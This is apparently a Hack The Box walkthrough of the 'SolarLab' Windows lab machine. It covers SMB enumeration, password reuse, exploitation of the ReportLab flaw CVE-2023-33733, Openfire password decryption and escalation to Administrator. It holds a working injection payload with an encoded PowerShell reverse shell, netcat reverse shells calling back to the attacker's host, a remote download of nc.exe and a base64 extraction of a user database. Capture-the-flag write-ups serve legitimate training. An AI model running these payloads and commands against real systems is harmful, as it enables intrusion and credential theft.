Description
SolarLab is a medium Hack The Box machine that features:
- SMB share enumeration and the download of a file with credentials / SMB user enumeration
- Password Reuse in a web application
- ReportLab Library Remote Command Execution vulnerability
- Sensitive Data Exposure in a database and Password Reuse of an user running an Openfire service
- Privilege Escalation via a password Blowfish hash cracking of an Openfire service
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.52.107.
$ ping -c 3 10.129.52.107
PING 10.129.52.107 (10.129.52.107) 56(84) bytes of data.
64 bytes from 10.129.52.107: icmp_seq=1 ttl=127 time=54.8 ms
64 bytes from 10.129.52.107: icmp_seq=2 ttl=127 time=77.4 ms
64 bytes from 10.129.52.107: icmp_seq=3 ttl=127 time=53.7 ms
--- 10.129.52.107 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 53.691/61.948/77.396/10.931 ms
The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.52.107 -sS -p- -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.52.107
Host is up (0.053s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6791/tcp open hnm
Nmap done: 1 IP address (1 host up) scanned in 213.21 seconds
We get five open ports, 80, 135, 139, 445, and 6791.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.52.107 -sV -sC -p80,135,139,445,6791 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.52.107
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.31 seconds
We get some services: two Hypertext Transfer Protocol (HTTP) running on a nginx 1.24.0 server, and services related to Windows NetBIOS. We get the domain for 80 port, solarlab.htb and for the 6791 port, report.solarlab.htb. So we add them to our /etc/hosts file.
$ echo "10.129.52.107 solarlab.htb" | sudo tee -a /etc/hosts
$ echo "10.129.52.107 report.solarlab.htb" | sudo tee -a /etc/hosts
By checking the service in port 80, we find a landing page with the “SolarLab” instant messaging app. It is “Coming Soon”. There is no more functionality on the website. We have three users in the about us section: “Alexander Knight”, “Claudia Springer”, and “Blake Byte”.
In the 6791 port (report subdomain) we find a login page that output us if the username exists.
Moving to the SMB service, we are able to enumerate the shares by using a random combination of username and password.
$ crackmapexec smb solarlab.htb -u 'user' -p 'pass' --shares
SMB solarlab.htb 445 SOLARLAB [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB solarlab.htb 445 SOLARLAB [+] solarlab\user:pass
SMB solarlab.htb 445 SOLARLAB [+] Enumerated shares
SMB solarlab.htb 445 SOLARLAB Share Permissions Remark
SMB solarlab.htb 445 SOLARLAB ----- ----------- ------
SMB solarlab.htb 445 SOLARLAB ADMIN$ Remote Admin
SMB solarlab.htb 445 SOLARLAB C$ Default share
SMB solarlab.htb 445 SOLARLAB Documents READ
SMB solarlab.htb 445 SOLARLAB IPC$ READ Remote IPC
We find a share called Documents, we are going to connect to it and to enumerate the files.
$ smbclient -U user --password pass '//solarlab.htb/Documents'
Password for [WORKGROUP\user]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Fri Apr 26 16:47:14 2024
.. DR 0 Fri Apr 26 16:47:14 2024
concepts D 0 Fri Apr 26 16:41:57 2024
desktop.ini AHS 278 Fri Nov 17 11:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 13:27:21 2023
My Music DHSrn 0 Thu Nov 16 20:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 20:36:51 2023
My Videos DHSrn 0 Thu Nov 16 20:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 11:35:57 2023
7779839 blocks of size 4096. 1886224 blocks available
And we also have access to a folder called concepts.
smb: \> cd concepts
smb: \concepts\> ls
. D 0 Fri Apr 26 16:41:57 2024
.. D 0 Fri Apr 26 16:41:57 2024
Training-Request-Form.docx A 161337 Fri Nov 17 11:46:57 2023
Travel-Request-Sample.docx A 30953 Fri Nov 17 11:36:54 2023
7779839 blocks of size 4096. 1886223 blocks available
We find credentials in details-file.xlsx file.
Users AlexanderK and ClaudiaS exist in the reports subdomain but the password is not contained in the spreadsheet. Then we can use the technique RID cycling to enumerate the users of the Windows machine.
$ crackmapexec smb solarlab.htb -u 'user' -p 'pass' --rid-brute
SMB solarlab.htb 445 SOLARLAB [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB solarlab.htb 445 SOLARLAB [+] solarlab\user:pass
SMB solarlab.htb 445 SOLARLAB [+] Brute forcing RIDs
SMB solarlab.htb 445 SOLARLAB 500: SOLARLAB\Administrator (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 501: SOLARLAB\Guest (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 513: SOLARLAB\None (SidTypeGroup)
SMB solarlab.htb 445 SOLARLAB 1000: SOLARLAB\blake (SidTypeUser)
SMB solarlab.htb 445 SOLARLAB 1001: SOLARLAB\openfire (SidTypeUser)
We find a account name blake. Let’s check the passwords contained in the spreadsheet for a match.
$ crackmapexec smb solarlab.htb -u 'blake' -p passwords.txt
SMB solarlab.htb 445 SOLARLAB [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB solarlab.htb 445 SOLARLAB [-] solarlab\blake:al;ksdhfewoiuh STATUS_LOGON_FAILURE
SMB solarlab.htb 445 SOLARLAB [-] solarlab\blake:dkjafblkjadsfgl STATUS_LOGON_FAILURE
SMB solarlab.htb 445 SOLARLAB [-] solarlab\blake:d398sadsknr390 STATUS_LOGON_FAILURE
SMB solarlab.htb 445 SOLARLAB [+] solarlab\blake:ThisCanB3typedeasily1@
We found a match, the password ThisCanB3typedeasily1@ for blake user. Looking at the usernames formats in the reports subdomain we can guess that the username of blake (Blake Byte) might be BlakeB. With the obtained password we are able to login to the reports subdomain dashboard.
We have access to a form in which we can enter a time interval, a contact phone number, a justification text and a signature image. Then a PDF file will be generated with the provided data.
With the Exiftool tool we can see that the PDF file is generated using ReportLab PDF Library. We also observe that HTML code is being sent as the justification text.
ReportLab up to v3.6.12 allows attackers to execute arbitrary code via supplying a crafted PDF file, CVE-2023-33733.
Exploitation
We have a proof of concept of the exploit, created by c53elyas. We just need to created a crafted HTML code with the command we want to run in the remote system, in this case a Powershell reverse shell.
HTML code to inject in the request:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAwACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
We need to intercept the POST request to /leaveRequest endpoint to inject the HTML code.
Then we can inject the HTML code in the multipart form time_interval by replacing 2024-06-02 to 2024-06-18 value. We checked that leave_request (with the phone number) is also injectable.
Before sending the request we need to open a listening port in our machine to receive the reverse shell back.
$ nc -nvlp 1234
We receive a reverse shell as the blake user.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.52.107] 56235
whoami
solarlab\blake
Post-Exploitation
As we saw before, we also have openfire as a loggable account.
PS C:\Users\blake\Documents\app> net user
User accounts for \\SOLARLAB
-------------------------------------------------------------------------------
Administrator blake DefaultAccount
Guest openfire WDAGUtilityAccount
The command completed successfully.
We have no access to C:\Program Files\Openfire directory to look for its database. We have a database of users of the application in C:\Users\blake\Documents\app\reports\instance file. We need to extract it from the machine to read it.
PS C:\Users\blake\Documents\app> cd reports\instance
PS C:\Users\blake\Documents\app\reports\instance> [Convert]::ToBase64String((Get-Content -Path "C:\Users\blake\Documents\app\reports\instance\users.db" -Encoding Byte)) | Out-File -FilePath "C:\Users\blake\Documents\app\reports\instance\users.db.base64" -Encoding ASCII
And then in our system.
$ echo "U1FMa..." | base64 -d > users.db
$ sqlite users.db
$ sqlite3 users.db
SQLite version 3.44.2 2023-11-24 11:41:44
Enter ".help" for usage hints.
sqlite> .tables
user
sqlite> select * from user;
1|BlakeB|BlakeB
2|ClaudiaS|ClaudiaS
3|AlexanderK|ClaudiaS
4|blakeb|ThisCanB3typedeasily1@
5|claudias|10.129.52.107
6|alexanderk|HotP!fireguard
We get the password for ClaudiaS, 10.129.52.107, and the password for AlexanderK, HotP!fireguard. Now we can check with RunasCs tool that the openfire’s password is reused and it is HotP!fireguard.
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "10.129.52.107" "powershell whoami"
[-] RunasCsException: LogonUser failed with error code: The user name or password is incorrect
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "powershell whoami"
solarlab\openfire
We can spawn another reverse shell for him. We open the listening port.
$ nc -nvlp 1235
And then we run the command as openfire user using a local copy of nc.exebinary.
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "powershell IWR http://10.10.14.30/nc.exe -OutFile C:\Users\openfire\nc.exe"
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "powershell dir C:\Users\openfire\nc.exe"
PS C:\Users\blake\Documents\app\reports\instance> .\RunasCs.exe openfire "HotP!fireguard" "C:\Users\openfire\nc.exe 10.10.14.30 1235 -e powershell.exe" -t 0
Now in the other shell we are logged as openfire user.
$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.12.138] 58784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
solarlab\openfire
Looking at the documentation we find that the database of Openfire is saved in C:\Program Files\Openfire\embedded-db\openfire.script. We can search for the encrypted password of the admin user.
PS C:\Windows\system32> cd "C:\program files\openfire\embedded-db"
PS C:\program files\openfire\embedded-db> type openfire.script | findstr "admin"
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
The encrypted password is becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442. The string is encrypted using Blowfish algorithm so we also need to find the password that encrypted the user password.
PS C:\program files\openfire\embedded-db> type openfire.script | findstr "passwordKey"
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
The password used to encrypt the string is hGXiFzsKaAeYLjn. In Hashcat forum we find Java code to decrypt the password. We get the password.
$ javac OpenFireDecryptPass.java
$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
We check that the password is reused for the Windows Administrator user, ThisPasswordShouldDo!@. Then we can establish the third reverse shell as the administrator user. Firstly by opening the listening port.
$ nc -nvlp 1236
And then running the command from blake session.
PS C:\program files\openfire\embedded-db> .\RunasCs.exe Administrator "ThisPasswordShouldDo!@" "C:\Users\openfire\nc.exe 10.10.14.30 1236 -e powershell.exe" -t 0
Flags
In the Administrator shell we can obtain the user flag and the system flag.
PS C:\Windows\system32> type "C:\Users\blake\Desktop\user.txt"
<REDACTED>
PS C:\Windows\system32> type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>